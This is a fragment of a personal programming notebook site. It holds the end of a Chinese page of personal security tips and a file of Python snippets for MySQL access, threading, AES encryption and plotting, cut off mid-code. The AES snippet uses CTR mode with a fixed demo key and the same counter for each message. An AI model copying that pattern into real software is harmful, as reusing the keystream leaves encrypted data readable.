type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"how-to-keep-safe\">How to keep safe?<a class=\"headerlink\" href=\"#how-to-keep-safe\" title=\"Permanent link\">&para;</a></h1>\n<ul>\n<li>\n<p>The Big Brother Is Watching You</p>\n</li>\n<li>\n<p>闷声发大财才是最吼滴</p>\n</li>\n<li>\n<p>任何服务器、服务提供商上绝对不能明文存储涉密文件、服务器密钥、密码笔记</p>\n</li>\n<li>\n<p>备份文件、历史邮件的安全性更应重视，及时清空历史文件，给攻击者更少的线索能有效加大攻击难度</p>\n</li>\n<li>\n<p>启用一切能启用的两步验证，不要使用浏览器的保存密码功能</p>\n</li>\n<li>\n<p>让攻击者迷失在一大群无用文件中或许是一种好方法</p>\n</li>\n<li>\n<p>对技术、法律心存敬畏，对待安全不能偷懒！</p>\n</li>\n<li>\n<p>周期性更换密码和服务器密钥</p>\n</li>\n</ul>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "gist.md",
    "content": "# gist 记录一些代码片段\r\n\r\n## print的时候顺带带上时间\r\n\r\n使用这种方式的好处不仅是显示时间，而且可以很方便地将往屏幕输出改为写文件；更优雅的方式是用logging\r\n\r\n```python\r\nimport time\r\ndef myprint(*args, **kwargs):\r\n    args = list(args)\r\n    args[0] = \"[\"+time.strftime(\"%Y-%m-%d %H:%M:%S\")+\"] \" + str(args[0])\r\n    print(*args, **kwargs)\r\n\r\n\r\n```\r\n\r\n使用的时候就和print一样使用，可以传入多个参数\r\n\r\n```\r\nmyprint(\"aha myprint\", 666)\r\n```\r\n\r\n## 连接mysql批量插入、查询\r\n\r\nconfig.py:\r\n\r\n```python\r\nMYSQL_DB = \"web\"\r\nMYSQL_USER = \"web\"\r\nMYSQL_PASSWORD = \"sEcret_strOng_passw0rd\"\r\nMYSQL_HOST = \"localhost\"\r\nMYSQL_PORT = 3306\r\n```\r\n\r\n```python\r\nfrom config import MYSQL_HOST, MYSQL_PORT, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DB\r\nimport threading, pymysql, warnings, time\r\nthread_data = threading.local()\r\n\r\ndef db():\r\n    global thread_data\r\n    conn = pymysql.connect(user=MYSQL_USER,passwd=MYSQL_PASSWORD,host=MYSQL_HOST,port=MYSQL_PORT,db=MYSQL_DB ,charset='utf8',init_command=\"set NAMES utf8mb4\", use_unicode=True)\r\n    thread_data.__dict__[\"conn\"] = conn\r\n    return conn\r\n\r\ndef runsql(sql, *args, onerror='raise', returnid=False, allow_retry=True):\r\n    global thread_data\r\n    conn = thread_data.__dict__.get(\"conn\")\r\n    if len(args)==1 and isinstance(args[0], list):\r\n        args = args[0]\r\n    if not conn:\r\n        conn = db()\r\n    if not conn.open:\r\n        conn = db()\r\n    cur = conn.cursor()\r\n    try:\r\n        conn.ping()\r\n    except:\r\n        print(\"conn.ping() failed, reconnect\")\r\n        conn = db()\r\n    try:\r\n        with warnings.catch_warnings():\r\n            warnings.simplefilter(\"ignore\")\r\n            cur.execute(sql, args)\r\n    except pymysql.err.OperationalError as e:\r\n        conn.commit()\r\n        cur.close()\r\n        if allow_retry and (\"Lost connection to MySQL\" in str(e) or \"MySQL server has gone away\" in str(e)):\r\n            conn.close()\r\n            conn = db()\r\n            return runsql(sql, *args, onerror=onerror, returnid=returnid, allow_retry=False)\r\n        else:\r\n            raise\r\n    except:\r\n        conn.commit()\r\n        cur.close()\r\n        if onerror==\"ignore\":\r\n            return False\r\n        else:\r\n            raise\r\n    if returnid:\r\n        cur.execute(\"SELECT LAST_INSERT_ID();\")\r\n        result = list(cur)[0][0]\r\n    else:\r\n        result = list(cur)\r\n    conn.commit()\r\n    cur.close()\r\n    return result\r\n\r\ndef tags_tagname2ids_set(tagname):\r\n    \"\"\"\r\n    select查询示例\r\n    返回包含标签tagname的帖子id集合\r\n    \"\"\"\r\n    sql = \"select topicid from tags where tagname=%s\"\r\n    sqlresult = runsql(sql, tagname)\r\n    return set([i[0] for i in sqlresult])\r\n\r\ndef usersettings_write_bool(userid, username, settingname, settingvalue):\r\n    \"\"\"\r\n    replace查询示例\r\n    写入用户配置信息至usersetting表\r\n    返回bool\r\n    \"\"\"\r\n    sql = \"replace into usersettings values (%s, %s, %s, %s)\"\r\n    try:\r\n        runsql(sql, userid, username, settingname, settingvalue)\r\n        return True\r\n    except:\r\n        traceback.print_exc()\r\n        return False\r\n```\r\n\r\n## 大小写不敏感字典\r\n\r\n```python\r\nfrom requests.structures import CaseInsensitiveDict\r\nmydict = CaseInsensitiveDict(mydict)\r\n```\r\n\r\n## mpms多线程下每个线程单独变量\r\n\r\n自己写的类不是线程安全的，所以在多线程下要做到每个线程自己一个变量互不干扰\r\n\r\nmpms下使用EasyLogin完整示例代码模板， 先要使用我fork的版本 加上了len支持：\r\n\r\n```bash\r\nwget https://d.py3.io/mpms.py\r\n```\r\n\r\n```python\r\nfrom mpms import MPMS\r\nfrom EasyLogin import EasyLogin\r\nimport threading\r\nthread_data = threading.local()\r\n\r\nimport time\r\nmyprint = lambda s: print(\"[{showtime}] {s}\".format(showtime=time.strftime(\"%Y-%m-%d %H:%M:%S\"), s=s))\r\n\r\ndef worker(id):\r\n    global thread_data\r\n    a = thread_data.__dict__.get(\"a\")\r\n    if not a:\r\n        a = EasyLogin()\r\n        thread_data.__dict__[\"a\"] = a\r\n    pass # do the stuff, like a.get\r\n    return result\r\n\r\ndef handler(meta, result):\r\n    # meta[\"fp\"].write ...\r\n    pass # do the stuff\r\n\r\nif __name__ == \"__main__\":\r\n    meta = {\"fp\": open(\"result.txt\",\"w\",encoding=\"utf-8\")}\r\n    m = MPMS(worker, handler, 2, 2, meta=meta)\r\n    m.start()\r\n    for i in range(...):\r\n        m.put(i)\r\n    while len(m)>10:\r\n        myprint(\"Remaning \"+str(len(m)))\r\n        time.sleep(2)\r\n    m.join()\r\n    myprint(\"Done!\")\r\n```\r\n\r\n## 将值存入字典中的列表 dict_add_list\r\n\r\n判断key是否存在 应该有更好的方法？这个实现还是很naive的\r\n\r\n```\r\ndef dict_add_list(dictname, key, value):\r\n    if key not in dictname:\r\n        dictname[key] = [value]\r\n    else:\r\n        dictname[key].append(value)\r\n\r\n# 如果字典是存储count计数的话 用这个\r\ndef dict_incr(dictname, key):\r\n    if key not in dictname:\r\n        dictname[key] = 1\r\n    else:\r\n        dictname[key] += 1\r\n```\r\n\r\n## 使用AES加密字符串\r\n\r\nhttps://github.com/ricmoo/pyaes\r\n\r\n首先 `pip install pyaes -t .` 注意每次加密的时候都需要重新初始化aes\r\n\r\n加密：\r\n\r\n```\r\nplaintext = \"hello world\"\r\n\r\nimport pyaes,base64\r\naes = pyaes.AESModeOfOperationCTR(b\"This_key_for_demo_purposes_only!\")\r\nencrypted_text = base64.b64encode(aes.encrypt(plaintext.encode(\"utf-8\")))\r\n\r\nprint(encrypted_text) # ipkEJevbnsfbEm4=\r\n```\r\n\r\n解密：\r\n\r\n```\r\nencrypted_text = \"ipkEJevbnsfbEm4=\"\r\n\r\nimport pyaes, base64\r\naes = pyaes.AESModeOfOperationCTR(b\"This_key_for_demo_purposes_only!\")\r\nplaintext = aes.decrypt(base64.b64decode(encrypted_text)).decode()\r\n\r\nprint(plaintext) # hello world\r\n```\r\n\r\n------\r\n\r\n## Python画图 上方颜色，然后M*N个小图\r\n\r\nTODO: 增加一张示意图\r\n\r\n```\r\nimport json\r\nimport matplotlib.pyplot as plt \r\nimport seaborn as sns\r\nimport matplotlib.gridspec as gridspec\r\nimport gzip\r\nimport pickle\r\nimport os\r\nimport shutil\r\n\r\ndef plotmatrix(M, N, DATA, labels, colors, xlabel, ylabel, fontsize, sep):\r\n    \"\"\"\r\n    M: how many rows, like 4\r\n    N: how many cols, like 5\r\n    DATA: [{\r\n        \"name\": \"figure title\", \r\n        \"lines\":[ \r\n            [[...], [...]],\r\n        ]\r\n    }]\r\n    labels: the label of lines, like [fuzzerA, fuzzerB]\r\n    colors: color of lines, like [red, blue]\r\n    xlabel: like \"#Time (days)\"\r\n    fontsize: 13\r\n    sep: (wspace, hspace) like (0.5, 0.5)\r\n    \"\"\"\r\n    assert M*N >= len(DATA)\r\n    fig = plt.figure(figsize=(M*5,N*1.2))\r\n    outer = gridspec.GridSpec(2, 1, wspace=0.2, hspace=0.4, height_ratios= [1, 10])\r\n    inner = gridspec.GridSpecFromSubplotSpec(M,N,subplot_spec=outer[1], wspace=sep[0], 